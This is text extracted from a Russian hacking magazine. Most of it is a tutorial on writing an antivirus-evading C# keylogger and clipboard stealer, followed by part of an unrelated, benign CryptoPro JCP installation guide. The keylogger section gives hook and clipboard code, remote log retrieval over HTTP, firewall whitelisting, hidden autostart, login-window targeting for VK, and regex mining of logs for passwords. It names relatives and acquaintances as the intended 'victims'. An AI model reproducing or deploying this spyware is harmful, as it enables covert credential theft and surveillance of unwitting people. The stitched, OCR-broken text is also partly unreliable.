if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }

А вот вещи вро де   побороть слож нее. У шиф та,  кста ти, есть два
раз ных  вари анта —  пра вый  и  левый.  Уби раем  все  это,  ведь  сос тояние  заг‐ 
лавных букв мы уже получи ли.

<ShiftKey>

if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.
Capital) { continue; }

По гоняв  лог гер  некото рое  вре мя,  обна ружи ваем  и  дру гие  кноп ки,  которые
нуж но обра баты вать по‐осо бому:

Num Lock;•
фун кци ональ ные кла виши;•
Print Screen;•
Page Up и Page Down;•
Scroll Lock;•
со чета ние Shift + циф ровая кла виша;•
Tab;•
Home и End;•
Пуск;•
Alt;•
кла виши со стрел ками.•

До бав ляем  еще  про вер ки  и  замены,  и  лог  при обре тает  читабель ный  вид.
В целом уже неп лохо! Из недос татков: нет под дер жки рус ской рас клад ки, что,
впро чем, не так важ но, если наша цель — получить пароли.

Смот рим, что ска жет анти вирус…

Ре акция анти виру са при при нуди тель ном ска ниро вании

Ре акция при запус ке (поз же говорит, что все ок)

Заг ружа ем  обра зец  на  VirusTotal,  что бы  про верить  на  осталь ных.  Резуль тат:
толь ко 8 из 70 анти виру сов что‐то подоз рева ют.

КРАСИВЫЙ ВАРИАНТ
Те перь  поп робу ем  сде лать  более  пра виль но  и  будем  перех ватывать  сооб‐ 
щения о нажатии кла виш на кла виату ре. Пер вые шаги те же: соз даем про ект
Windows  Forms  и  при думы ваем  неп римет ное  наз вание  (нап ример,  Win‐
dowsPrintService).  В  заг лушке,  которую  нам  соз дала  Visual  Studio,  меня ем

 на  . Теперь сде лаем прос тую про‐ 
вер ку аргу мен тов:
void Main() void Main(String[] args)

if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (args != null && args.Length > 0)
{
    if (args[0] == "‐i") {}
    // Здесь проверки по аналогии с предыдущей строкой
}
else
{
    // Запущено без параметров
}

Даль ше  доволь но мно го  кода,  не  буду  при водить  его  весь.  Там  есть фла ги
Caps  Lock,  Shift  и  про чее,  а  нажатия  опре деля ются  гигант ским  Switch.
Но показать я хочу не это, а уста нов ку хука на кла виату ру.

Ус танав лива ем хук на кла виату ру

Сна чала  мы  помеща ем  ссыл ку  на  нашу  фун кцию  в  перемен ную  ,
потом получа ем handle нашей прог раммы, затем уста нав лива ем хук. А даль‐ 
ше  веч но  обра баты ваем  получа емые  сооб щения  каж дые  5  мс
( ).  Важ ный  момент  —  объ явле ние  callback‐фун кции,  которая
дол жна точ но соот ветс тво вать WinAPI, а так же переда ча управле ния нижеле‐ 
жащим обра бот чикам (см. ниже).

callback

PeekMessageA

private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, 
IntPtr lParam)

А тут мы переда ем управле ние даль ше по цепоч ке хуков:

return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)

Лис тинг callback‐фун кции

Продолжение статьи →

mailto:hackcat.dev@gmail.com
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https://xakep.ru/2014/09/08/password-manager-pentest/
https://visualstudio.microsoft.com/
https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-setwindowshookexa
https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getasynckeystate
http://bit.ly/2ToU4oG


КЕЙЛОГГЕР ПО-

ДОМАШНЕМУ
ПИШЕМ НА C# КЕЙЛОГГЕР,

КОТОРЫЙ НЕ ПАЛИТСЯ АНТИВИРУСАМИ

КОДИНГ  НАЧАЛО СТАТЬИ←

На этом скри не виден код нашей callback‐фун кции с некото рыми сок ращени‐ 
ями (не умес тился раз бор нажатия кла виш). Обра ти вни мание на упо мяну тый
выше  вызов  ,  который  нужен,  что бы  не  толь ко мы  получа ли
сооб щения о нажати ях кла виш.

CallNextHookEx

Switch, который раз бира ет Shift + циф ровая кла виша

На  этом  скрин шоте  вид на  обра бот ка  нажатий  циф ровых  кла виш  с  зажатым
шиф том, а на сле дующем — ситу ация с Caps Lock и Shift.

Оп ределя ем регистр вве ден ного сим вола

КЛИППЕР
Клип пер  —  это  прог рамма,  пред назна чен ная  для  похище ния  дан ных
из буфера обме на (наз вание — от сло ва clipboard). При годить ся это может,
нап ример, на слу чай, если жер тва исполь зует пароль ный менед жер и копиру‐ 
ет пароли отту да.

Соз дадим  новую фор му Windows,  уда лим фай лы 
 и  . Теперь перей дем в режим редак тирова ния, нажав F7,

и  прис тупим  к  написа нию  кода.  Добавим 
 и импорти руем WinAPI (на скрин шоте — в отдель ном клас се).

<ИмяФормы>.Designer.
cs <ИмяФормы>.resx

using  System.Runtime.In‐
teropServices

Класс, импорти рующий методы WinAPI

В конс трук тор фор мы встав ляем сле дующий код:

NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);

Пер вый вызов сде лает наше окно спо соб ным к вос при ятию сис темных сооб‐ 
щений, а вто рой наз начит обра бот чик пос тупа ющих сооб щений.

Те перь  объ явим  перемен ную  типа    и  назовем  ее  .
Теперь мы переназ начим стан дар тную фун кцию обра бот ки сооб щений (

):

String lastWindow
void

WndProc(ref Message m)

protected override void WndProc(ref Message m)
{
  if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
  {
       // Получаем handle активного окна
       IntPtr active_window = NativeMethods.GetForegroundWindow();
       // Получаем заголовок этого окна
       int length = NativeMethods.GetWindowTextLength(active_window)
;
       StringBuilder sb = new StringBuilder(length + 1);
       NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
       Trace.WriteLine("");
       // Сохраняем содержимое буфера обмена в лог
       Trace.WriteLine("\t[Сtrl‐C] Clipboard Copied: " + Clipboard.
GetText());
  }
  // Вызываем старый обработчик
  base.WndProc(ref m);
}

Для  работы  это го  кода  я  взял  уже  готовый  класс,  который  мож но  прос то
добавить в про ект и не замора чивать ся с соз дани ем обер ток вок руг WinAPI.
Взять его мож но на  .Pastebin

За пус тить  клип пер  нес ложно:  добав ляем  ссыл ку  на  сбор ку 
,  добавим  using  для    и 

 и добавим в метод запус ка лог гера сле дующие стро ки:

System.Win‐
dows.Forms.dll System.Windows.Forms System.
Threading

Thread clipboardT = new Thread(new ThreadStart(
          delegate {
             Application.Run(new ClipboardMonitorForm());
          }));
clipboardT.Start();

Прос то? Вот имен но.  Толь ко добав лять этот  вызов нуж но пос ле наз начения
обра бот чика для  , ина че весь вывод уле тит в неиз вес тные дали.Trace

WWW

  лог геров  (кей лог‐ 
гер + клип пер)

•Пол ный  код  метода  запус ка

,  кро ме  кода
клип пера, который я при вел здесь

•Все  необ ходимое  для  запус ка

СОБИРАЕМ ЛОГИ
Сле дующее,  что  нам  нуж но,  —  это  забирать  лог  уда лен но.  Пос коль ку  мы
не  собира емся  занимать ся  про мыш ленным  шпи она жем,  а  лишь  хотим  пог‐ 
лядывать,  что  дела ет  кто‐то  из  родс твен ников  или  зна комых,  то  мож но
для начала огра ничить ся дос тупом из локаль ной сети. Для это го будет дос‐ 
таточ но  встро ить  в  наш  про ект  минима лис тичный  сер вер  HTTP.  Вот 

, а вот  .
под‐ 

ходящий исходник до рабо тан ная мной вер сия
Ис поль зование  тоже  весь ма  при митив ное:  дос таточ но  соз дать  объ ект

нашего  сер вера,  и  он  авто мати чес ки  зай мет  адре са    и 
  под  HTTP  и  на  этих  же  адре сах  порт  34001.  Сер вер

будет  воз вра щать  спи сок  фай лов  и  папок  в  виде  спис ка  или  содер жимое
фай ла, если зап рошен файл.

localhost:34000
<InternalIP>:34000

В конс трук тор нуж но передать путь к пап ке, в  которую пишут ся логи  (или
любой  дру гой,  которая  может  понадо бить ся).  По  умол чанию  логи  пишут ся
в  текущую пап ку,  зна чит,  в  конс трук тор  переда ем 

.
Environment.CurrentDi‐

rectory

WWW

Что бы авто мати зиро вать добав ление нашей прог‐ 
раммы в белый спи сок фай рво ла, ты можешь вос‐ 
поль зовать ся  Windows  Firewall  API.  В  этом  тебе
помогут  биб лиоте ки‐обер тки  ,

 и  .
FirewallManager

WindowsFirewallHelper YFW.Net

АВТОЗАПУСК
Есть  мно го  спо собов  попасть  в  авто заг рузку:  тут  и  пап ка  «Авто заг рузка»,
и  куча  мест  в  реес тре,  и  уста нов ка  сво его  драй вера,  и  соз дание  служ бы...
Одна ко реестр и драй веры отсле жива ются  любым при лич ным анти виру сом,
а  соз дание  служ бы  слиш ком  кри вой  вари ант,  который  может  сло мать ся
в любой момент, хотя на край ний слу чай неп лохо.

Мы же прос то соз дадим задачу в пла ниров щике заданий и поп росим его
запус кать  наш  лог гер  с  нуж ными  парамет рами  при  каж дом  вхо де  юзе ра
в  сис тему.  Для  работы  с  пла ниров щиком  заданий  берем  пакет  Microsoft‐
.Win32.TaskScheduler из NuGet. Код для работы с ним я  .
Не забудь поп равить путь, на который ссы лает ся запись в пла ниров щике.

вы ложил на Pastebin

Ал горитм дей ствий лог гера при запус ке я показал на кар тинке.

Ал горитм дей ствий

РЕАКЦИЯ АНТИВИРУСОВ
Про вер ка более  кра сиво го  вари анта на VirusTotal  ,  что  его обна‐ 
ружи вает боль шее чис ло анти виру сов, чем рань ше, — 15 из 70. Одна ко сре ди
оставших ся — поч ти все популяр ные у нас домаш ние анти виру сы. В общем,
глав ное — не нар вать ся на «Ави ру» или NOD32.

по казы вает

ПРОВЕРЯЕМ ЗАГОЛОВОК ОКНА
Ес ли  наша  пред полага емая  жер тва  сра зу  пос ле  вхо да  в  сис тему  пош ла
логинить ся  в  ВК,  то,  счи тай,  повез ло.  Но  что,  если  вмес то  это го  она  села
играть  в  CS:GO? Пароль  при дет ся  вытас кивать  из  тонн  сим волов  ,  ,  , 
и  про белов,  а  с  «кос тыль ным»  вари антом  это  еще  слож нее.  Поэто му  давай
про кача ем наш лог гер: будем записы вать сиг налы  кла виату ры  толь ко  тог да,
ког да активно окно бра узе ра с фор мой вхо да. Для это го вер немся к WinAPI,
а кон крет но к фун кции  .

W A S D

GetForegroundWindow

Им порт WinAPI

В импорте вид на еще одна фун кция,  которая нам понадо бит ся: 
. Она нуж на, что бы по хен длу окна получить его заголо вок. Алго ритм дей‐ 

ствий  тут  тоже  пре дель но  понятен:  сна чала  получа ем  заголо вок  активно го
окна, затем про веря ем, нуж но ли вклю чать лог гер, и вклю чаем его (или вык‐ 
люча ем). Реали зация этой схе мы:

GetWindow‐
Text

1. Соз дадим  фун кцию  .  Ее  код  будет
таким:

IsForegroundWindowInteresting

bool IsForegroundWindowInteresting(String s)
{
   IntPtr _hwnd = GetForegroundWindow();
   StringBuilder sb = new StringBuilder(256);
   GetWindowText(_hwnd, sb, sb.Capacity);
   if (sb.ToString().ToUpperInvariant().Contains(s.ToUppe
rInvariant())) return true;
   return false;
}

2. В самом начале нашей фун кции   встав ляемCallbackFunction

if (IsForegroundWindowInteresting("Welcome! | VK") ||
    IsForegroundWindowInteresting("Добро пожаловать | ВКонтакте"))
{
   return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
}

Как ты заметил, я про веряю два вари анта, так как не знаю, какой язык исполь‐ 
зует жер тва. Если мы не наш ли инте рес ного окна, то прос то перехо дим к сле‐ 
дующе му обра бот чику и не наг ружа ем компь ютер лиш ними дис ковыми опе‐ 
раци ями.

ИЩЕМ ПО ЛОГУ
Те перь  давай  пред положим,  что  лог  все  рав но  вырос  до  угро жающих  раз‐ 
меров  и  нам  нуж но  вытащить  из  него,  нап ример,  номер  телефо на,  что бы
знать,  с  какого  мес та  искать  пароль.  Для  это го  луч ше  все го  подой дут
регуляр ные выраже ния, в C# они пре дос тавле ны клас сом  .Regex

По понят ным при чинам логи мы будем ана лизи ровать  на  сво ей машине,
так  что  сде лаем  отдель ную  прог рамму.  Что бы  исполь зовать  регуляр ки,
добавим    и  сде лаем  метод,
который при нима ет на вход путь к фай лу лога, а на кон соль выводит все най‐ 
ден ные телефон ные номера.

using  System.Text.RegularExpressions

public void FindTelephoneNmbers(String path)
{
  String _file = System.IO.File.ReadAllText(path);
  String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\‐ ]?)?(\
d[ ‐]?){6,14}";
  Regex _regexobj = new Regex(_regex);
  MatchCollection matches = _regexobj.Matches(_file);
  if (matches.Count > 0)
  {
     foreach (Match match in matches)
     {
        Console.WriteLine($"Match found: \"{match.Value}\"");
     }
  }
  else
  {
     Console.WriteLine("No matches found.");
  }
}

Па роль будет идти сле дом за номером телефо на.

INFO

Ес ли пароль сох ранен в бра узе ре, то тут наш кей‐ 
лог гер  бес силен.  Одна ко  в  «Хакере»  недав но
была  ,  пос вящен ная  написа нию  сти лера,
так что перепи сыва ем то же самое на C# и раду‐ 
емся.
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ИТОГИ
Итак, мы убе дились в том, что соз дать кей лог гер — не проб лема. Более того,
наш самопис ный шпи он со все ми его огра ниче ниями име ет важ ное пре иму‐ 
щес тво: анти виру сам заранее неиз вес тно о его сущес тво вании, а по фун кци‐ 
ям  его  опре деля ют  далеко  не  все  из  них.  Конеч но,  даль ше  мож но  мно гое
дораба тывать.  Нап ример,  добавить  воз можность  дос тупа  через  интернет,
научить кей лог гер работать с раз ными кла виатур ными рас клад ками, добавить
сня тие  скрин шотов  и  дру гие  фичи.  Моей  же  целью  в  этой  статье  было
показать,  нас коль ко  прос то  сде лать  такую  прог рамму,  и  вдох новить  тебя
на будущие под виги. Наде юсь, у меня получи лось!

https://pastebin.com/yAtc0dNP
https://pastebin.com/1wJaA25p
https://pastebin.com/uAgqBzyd
https://gist.github.com/aksakalli/9191056
https://pastebin.com/yjPqgyVx
https://www.nuget.org/packages/FirewallManager/
https://www.nuget.org/packages/WindowsFirewallHelper/2.0.0.4-alpha
https://www.nuget.org/packages/YFW.Net/0.1.3-cibuild0026
https://pastebin.com/nnaE2pSg
https://www.virustotal.com/#/file/f5dfcc6b5c5797b7f1952500d8f1bb6011dd80bbd7473399c9658a0b10698b49/detection
https://xakep.ru/2018/12/17/coding-stealer/
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АДМИН

С  2020  года  исполь зование  шиф рования
по ГОСТ Р 34.10—2001 ока жет ся  под  зап‐ 
ретом, а зна чит, все орга низа ции, которые
вза имо дей ству ют с госс трук турами, вынуж‐ 
дены  сроч но  внед рять  сле дующий  стан‐ 
дарт  —  2012  года.  Если  ты  работа ешь
в одной из них, то не про ходи мимо: в этой
статье  мы  погово рим  о  том,  как  решить
проб лему,  исполь зуя  сер вер  на  CentOS
7 и пакет CryptoPro JCP.

Ес ли же ты впер вые слы шишь обо всем этом, то вот неболь шая исто ричес кая
справ ка.

В  1994  году  в  ФСБ  раз работа ли  ряд  стан дартов  и  мер,  приз ванных
защитить обмен докумен тами меж ду орга низа циями и дру гими  учас тни ками
это го  про цес са. Одной  из  таких мер безопас ности  ста ла  элек трон ная  циф‐ 
ровая под пись докумен тов, а одним из стан дартов — ГОСТ Р 34.10—94, где
опи сан алго ритм фор мирова ния и про вер ки элек трон ной циф ровой под писи.
При нятый  и  вве ден ный  в  дей ствие  пос танов лени ем  Гос стан дарта  Рос сии
от 23 мая 1994 года за номером 154, он про рабо тал до 2001 года.

На  сме ну  при шел  всем  извес тный  ГОСТ  Р  34.10—2001  —  улуч шенный
стан дарт,  раз работан ный  для  обес печения  боль шей  стой кос ти  алго рит ма.
Но  вре мя  не  сто ит  на мес те,  меня ются  алго рит мы  и методы  крип тозащи ты,
и  спус тя  один надцать  лет  ГОСТ  Р  34.10—2001  меня ют  на  ГОСТ  Р  34.10—
2012.

В  новом  стан дарте  пер вый  вари ант  тре бова ний  к  парамет рам  остался
преж ним.  Дли на  сек ретно го  клю ча  сос тавля ет  поряд ка  256  бит,  и  пре дус‐ 
мотре но  исполь зование  хеш‐фун кции  с  дли ной  хеш‐кода  256  или  512  бит.
Глав ное  же  отли чие  нового  стан дарта  —  вари анты  с  допол нитель ными
парамет рами  и  схе мами,  в  том  чис ле  хеширо вани ем  по  стан дарту  ГОСТ
Р 34.11—2012 «Стри бог».

INFO

Стри бог  —  бог  древ них  сла вян,  который  пок‐ 
ровитель ству ет вет рам, погоде и все му, что свя‐ 
зано  с  воз душным  прос транс твом.  Воз можно,
и  облачным  тех нологи ям  тоже.  Под робнее
об  этом  шиф ре  читай  в  стать ях  «

» и «
».

Хе ширу ем
по ГОСТ 34.11—2012 Пи шем прос той локаль‐ 
ный блок чейн с исполь зовани ем „Стри бога“

В фев рале  2014  года ФСБ  объ яви ла  о  начале  перехо да  на  исполь зование
нового наци ональ ного стан дарта ГОСТ Р 34.10—2012 в средс твах элек трон‐ 
ной  под писи  для  информа ции,  не  содер жащей  све дений,  сос тавля ющих
государс твен ную  тай ну.  В  свет  вышел  документ  за  номером  149/7/1/3‐
58 от 31 янва ря 2014 года «О поряд ке перехо да к исполь зованию новых стан‐ 
дартов ЭЦП и фун кции хэширо вания», он уста нав ливал сле дующие тре бова‐ 
ния.
1. Пос ле 31 декаб ря 2013 года прек ратить сер тифика цию средств элек трон‐ 
ной под писи на соот ветс твие тре бова ниям к средс твам элек трон ной под‐ 
писи,  утвер жден ным  при казом  ФСБ  Рос сии  от  27.12.2011  года  № 796,
если в этих средс твах не пре дус матри вает ся реали зация фун кций в соот‐ 
ветс твии с ГОСТ Р 34.10—2012.

2. Пос ле  31  декаб ря  2018  года  зап ретить  исполь зование  ГОСТ  Р  34.10—
2001 для фор мирова ния элек трон ной под писи.

Ми нис терс тво  свя зи  даже  соз дало  план  по  перехо ду  на  стан дарт  ( ).
Одна ко  на  прак тике  ока залось,  что  все  не  так  прос то,  и  переход  приш лось
отло жить аж до 31 декаб ря 2019 года. При чины сле дующие.

PDF

1. Мно гие  государс твен ные  и  муници паль ные  орга ны  не  готовы  перей ти
на  исполь зование  нового  стан дарта  элек трон ной  под писи
ГОСТ‐2012 из‐за отсутс твия под дер жки на уров не ПО.

2. Что бы  выпус кать  сер тифика ты  нового  образца,  необ ходимо  обо рудо‐ 
вание, которое под держи вает новый ГОСТ, и сер тификат Голов ного удос‐ 
товеря юще го  цен тра,  сфор мирован ный  с  исполь зовани ем  ГОСТ‐2012.
Удос товеря ющие  цен тры  получи ли  его  толь ко  летом  2018  года.  Необ‐ 
ходимо  допол нитель ное  вре мя,  что бы  выпус тить  сер тифика ты  для  всех
поль зовате лей.

Сей час  в  ходу  два  стан дарта  крип тозащи ты  для  работы  ЭЦП,  но  тем,  кто
исполь зует  ГОСТ‐2001,  сроч но  нуж но  что‐то  пред при нимать.  Зима,
как говорит ся, близ ко, а это зна чит, что нас ждет череда испы таний при внед‐ 
рении под дер жки ГОСТ‐2012.

WWW

Ссыл ки на офи циаль ную докумен тацию:
•ГОСТ Р 34.10—94
•ГОСТ Р 34.10—2001
•ГОСТ Р 34.10—2012

Я рас ска жу, как раз вернуть сер тифици рован ное ФСБ средс тво СКЗИ (Cryp‐
toPro JCP) на сер вере Linux под управле нием Java JDK. Кста ти, если ты до сих
пор исполь зуешь ГОСТ‐2001, на сай те CryptoPro есть замеча тель ная  ,
советую тебе ее про честь, лиш ним не будет.
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Весь  докумен тообо рот  меж ду  учас тни ками  обме на  про исхо дит  по  прин‐ 
ципу  СМЭВ  ( ).
При ложе ние может быть  учас тни ком  такой сис темы,  но может и  не быть им
вов се,  прин цип  обме на  докумен тами  от  это го  не  меня ется.  Для  прос тоты
понима ния я нарисо вал неболь шую схе му.

сис тема  меж ведомс твен ного  элек трон ного  вза имо дей ствия

Вза имо дей ствие при ложе ний при обме не дан ными с крип тогра фичес кой
защитой в рам ках СМЭВ

Це ны
Как всег да, вста ет воп рос о лицен зирова нии прог рам мно го решения. 

 недешев, и если одна рабочая стан ция обой дет ся в 1200 руб лей, то
сер верные лицен зии сто ят зна читель но дороже — поряд ка 30 000 за каж дое
ядро (или два ядра про цес сора Intel с отклю чен ным Hyper Threading).

Crypto‐
Pro JCP

УСТАНОВКА И НАСТРОЙКА КРИПТОПРОВАЙДЕРА
В  при мерах  я  буду  исполь зовать  вир туаль ную  машину  с  CentOS  7,  но  ты
не огра ничен в выборе аппа рат ного обес печения и дис три бути ва Linux. Все
дей ствия и коман ды будут такими же.

Пер вым  делом  соз дадим  локаль ного  поль зовате ля,  под  которым  будет
работать ПО, исполь зующее под пись докумен тов.

$ sudo useradd ‐d /opt/user ‐p <Тут указываем пароль> ‐s /bin/bash 
user; sudo grep user /etc/passwd

Пра виль но уста новим Java JDK. Ска чива ем необ ходимый дис три бутив.

$ wget ‐‐header "Cookie: oraclelicense=a" ‐‐content‐disposition 
http://download.oracle.com/otn‐pub/java/jdk/8u191‐b12/2787e4a523244c2
69598db4e85c51e0c/jdk‐8u191‐linux‐x64.tar.gz ‐O jdk‐8u191‐linux‐x64.
tar.gz

Рас паковы ваем архив и про веря ем, готова ли пап ка с Java для копиро вания.

$ tar zxvf jdk‐8u191‐linux‐x64.tar.gz; ls ‐al;

Ко пиру ем пап ку в раз дел для прик ладно го ПО. Я обыч но исполь зую  ./opt

$ sudo cp ‐rf jdk1.8.0_191 /opt/

Про веря ем,  что  ско пиро валось  пра виль но.  Если  необ ходимо,  меня ем  вла‐ 
дель ца пап ки на root.

$ ls ‐al /opt/jdk1.8.0_191/
$ sudo chown ‐R root:root /opt/jdk1.8.0_191/; cd /opt/jdk1.8.0_191/; 
ls ‐al;

Про писы ваем перемен ные окру жения для  Java  JDK для всех поль зовате лей
по умол чанию.

$ sudo vi /etc/profile.d/oracle.sh

В файл пишем сле дующее:

export JAVA_HOME=/opt/jdk1.8.0_191
export JRE_HOME=/opt/jdk1.8.0_191/jre
export PATH=$PATH:/opt/jdk1.8.0_191/bin:/opt/jdk1.8.0_191/jre/bin

Ес ли на сер вере сто ит нес коль ко вер сий Java JDK, то необ ходимо зарегис‐ 
три ровать аль тер нативы для новой вер сии.

$ sudo alternatives ‐‐install /usr/bin/java java /opt/jdk1.8.0_191/
bin/java 2
$ sudo alternatives ‐‐install /usr/bin/jar jar /opt/jdk1.8.0_191/bin/
jar 2
$ sudo alternatives ‐‐install /usr/bin/javac javac /opt/jdk1.8.0_191/
bin/javac 2
$ sudo alternatives ‐‐set jar /opt/jdk1.8.0_181/bin/jar
$ sudo alternatives ‐‐set jar /opt/jdk1.8.0_191/bin/jar
$ sudo alternatives ‐‐set javac /opt/jdk1.8.0_191/bin/javac
$ sudo alternatives ‐‐config java

В  меню  выбира ем  опцию  2  (или  ту,  что  при ведет  к  исполь зованию  более
новой вер сии Java). Не забыва ем поп равить пра ва на JRE systemPrefs.

$ sudo chmod 777 ‐R /opt/jdk1.8.0_191/jre/.systemPrefs

Про веря ем уста нов ленную вер сию Java.

 

 

 
java version "1.8.0_191" 
Java(TM) SE Runtime Environment (build 1.8.0_191‐b12) 
Java HotSpot(TM) 64‐Bit Server VM (build 25.191‐b12, mixed mode)

$ java ‐version

Ко пиру ем  пап ку  с  дис три бути вом  CryptoPro  JCP  в  раз дел  для  прик ладно го
ПО.

$ sudo cp ‐rf jcp‐2.0.40035 /opt/

Про веря ем, что все ско пиро валось кор рек тно.

$ ls ‐al /opt/jcp‐2.0.40035/

Вы даем пра ва на запуск скрип тов.

$ sudo chmod +x /opt/jcp‐2.0.40035/*.sh

Про веря ем вла дель ца и пра ва на пап ку, дол жен быть root. Перехо дим в нее.

$ ls ‐al /opt/jcp‐2.0.40035/; cd /opt/jcp‐2.0.40035/;

Что бы избе жать проб лем при инстал ляции, про верь количес тво ядер на про‐ 
цес соре и сверь ся с лицен зией. Узнать чис ло ядер мож но коман дой  .nproc

Пе рехо дим к уста нов ке крип топро вай дера JCP. Во вре мя уста нов ки необ‐ 
ходимо будет отве тить на ряд воп росов.

 

 

 
Params: /opt/jdk1.8.0_191/ ‐install ‐serial_jcsp AAAAA‐BBBBB‐CCCCC‐
DDDDD‐EEEEE 
java version "1.8.0_191" 
Java(TM) SE Runtime Environment (build 1.8.0_191‐b12) 
Java HotSpot(TM) 64‐Bit Server VM (build 25.191‐b12, mixed mode) 
Current distributive directory: /opt/jcp‐2.0.40035 
Current executable JRE: /opt/jdk1.8.0_191/jre 
** Crypto‐Pro Installer, 2005‐2019 ** 
** Version: 2.0.40035 **

$ sudo ./setup_console.sh /opt/jdk1.8.0_191/ ‐install ‐serial_jcsp 
AAAAA‐BBBBB‐CCCCC‐DDDDD‐EEEEE

 — ука зыва ем Java JRE по умол чанию;• Choose JRE

 —  уста нав лива ем сам  крип топро вай‐ 
дер;

• Java Cryptographic Provider

  —  уста нав лива ем  все  необ ходимые  крип тогра‐ 
фичес кие модули;

• Encryption  module

 
  —  на  сер вере  мы  не  исполь зуем  токены,  клю чи  и  сер‐ 

тифика ты хра нят ся на дис ке. Так что отклю чаем под дер жку токенов;

• Card  module  for  cards  and  tokens,  requires  OCF

(deprecated)

 — допол нитель ный TLS‐про вай дер не исполь зует‐ 
ся;

• Java TLS Provider

 — уста рев шая bouncycastle нам не нуж на, отклю чаем ее.
• CAdES, XAdES modules (acquire bouncycastle: bc*jdk15on

1.50)

Да лее вво дим лицен зион ный ключ, в про тив ном слу чае будет уста нов лен три‐ 
аль ный ключ на три месяца. На воп рос 

  отве чаем  отри цатель но:  режим  уси лен ного  кон тро ля  исполь зования
клю чей  необ ходимо  отклю чить,  так  как  это  может  пов лиять  на  работу  при‐ 
ложе ний. Под конец под твержда ем начало уста нов ки, и если ты не раз работ‐ 
чик СКЗИ, то можешь спо кой но отка зать ся от логиро вания.

Enable StrengthenedKeyUsageCon‐
trol

Ос тает ся нем ного подож дать, и крип топро вай дер будет уста нов лен. Про‐ 
веря ем, что лицен зион ный ключ уста новил ся пра виль но и лицен зия пос тоян‐ 
ная.

 

 

 
License verify: 
Type: Server, sign and encrypt 
Allowed amount of cores: 2 
Serial number: AAAAA‐BBBBB‐CCCCC‐DDDDD‐EEEEE 
Validity: Permanent 
Valid license.

$ java ru.CryptoPro.JCP.tools.License

Ус ловим ся,  что  ты получил  токен с  крип токон тей нером и уже экспор тировал
кон тей нер на диск сер вера. Если у тебя воз никли проб лемы с выг рузкой кон‐ 
тей нера, заг ляни в  .инс трук цию

Те перь уста новим наши клю чи в сис тему — на диск. В этом при мере токен
мы не исполь зуем, с уста нов кой драй веров на ВМ слиш ком мно го проб лем.
Эко номим вре мя и нер вы.

Про верим, что пап ка для хра нения сер тифика тов и клю чей на мес те.

$ ls ‐al /var/opt/cprocsp/keys/

Соз дадим пап ку для нашего тех ничес кого поль зовате ля.

$ sudo mkdir /var/opt/cprocsp/keys/user

Ско пиру ем все необ ходимые клю чи и сер тифика ты для работы с ЭЦП на сер‐ 
вере.

$ sudo cp ‐rf gost2012.000 /var/opt/cprocsp/keys/user/

Поп равим вла дель ца на все под папки и фай лы для кор рек тной работы клю чей
и при ложе ния.

$ sudo chown ‐R user:user /var/opt/cprocsp/keys/user/

Про верим, что все в поряд ке.

 

 

 
total 36 
drwxr‐xr‐x 2 user user 4096 Mar  6 02:40 . 
drwxr‐xr‐x 5 user user 4096 Mar  6 02:40 .. 
‐rw‐r‐‐r‐‐ 1 user user 5736 Mar  6 02:40 header.key 
‐rw‐r‐‐r‐‐ 1 user user   56 Mar  6 02:40 masks2.key 
‐rw‐r‐‐r‐‐ 1 user user   56 Mar  6 02:40 masks.key 
‐rw‐r‐‐r‐‐ 1 user user   14 Mar  6 02:40 name.key 
‐rw‐r‐‐r‐‐ 1 user user   36 Mar  6 02:40 primary2.key 
‐rw‐r‐‐r‐‐ 1 user user   36 Mar  6 02:40 primary.key`

$ ls ‐al /var/opt/cprocsp/keys/user/gost2012.000

Ес ли что‐то пош ло не так при инстал ляции или тебе нуж но обно вить CryptoPro
JCP на сер вере, ста рую вер сию всег да мож но уда лить. Деин стал ляция Cryp‐
toPro  JCP  с  сер вера  и  пол ное  уда ление  нас тро ек,  вклю чая  информа цию
о лицен зион ном клю че, выг лядит так:

 

 

 

 $ ls ‐al /opt/jcp‐2.0.40035/; cd /opt/jcp‐2.0.40035/;
$ sudo ./setup_console.sh /opt/jdk1.8.0_191/ ‐force ‐en ‐uninstall ‐jcp 
‐rmsetting

Params: /opt/jdk1.8.0_191/ ‐force ‐en ‐uninstall ‐jcp ‐rmsetting 
java version "1.8.0_191" 
Java(TM) SE Runtime Environment (build 1.8.0_191‐b12) 
Java HotSpot(TM) 64‐Bit Server VM (build 25.191‐b12, mixed mode) 
Current distributive directory: /opt/jcp‐2.0.40035 
Current executable JRE: /opt/jdk1.8.0_191/jre 
** Crypto‐Pro Installer, 2005‐2019 ** 
** Version: 2.0.40035 ** 
Force mode (silent) is enabled. 

 
Process can take a few minutes. Wait please...
‐‐‐‐‐

ПРОВЕРКА КОРРЕКТНОСТИ ПОДПИСИ
Вза имо дей ствие по прин ципу СМЭВ под разуме вает обмен докумен тами XML
через зап росы SOAP. В XML мож но лег ко про верить, что исполь зует ся алго‐ 
ритм  ГОСТ  Р34.10—2012  (256  бит),  это  мож но  опре делить  по  сле дующим
строч кам:

<SignatureMethod Algorithm="urn:ietf:params:xml:ns:cpxmlsec:algori
thms:gostr34102012‐gostr34112012‐256" />
<DigestMethod Algorithm="urn:ietf:params:xml:ns:cpxmlsec:algorithms:
gostr34112012‐256" />

То же самое дол жно прий ти в ответ.
Для ГОСТ‐2012 (512 бит) строч ка будет такой:

<SignatureMethod Algorithm="urn:ietf:params:xml:ns:cpxmlsec:algori
thms:gostr34102012‐gostr34112012‐512"/>
<DigestMethod Algorithm="urn:ietf:params:xml:ns:cpxmlsec:algorithms:
gostr34112012‐512"/>

Ес ли же исполь зует ся ста рый ГОСТ‐2001, то стро ка такая:

<SignatureMethod Algorithm="http://www.w3.org/2001/04/
xmldsig‐more#gostr34102001‐gostr3411"/>

Так же мож но сох ранить сер тификат из зап роса или отве та в файл .crt и прос‐ 
мотреть его. Еще мож но   кор невой сер тификат.от крыть и про верить

ПРИМЕР ПРИЛОЖЕНИЯ
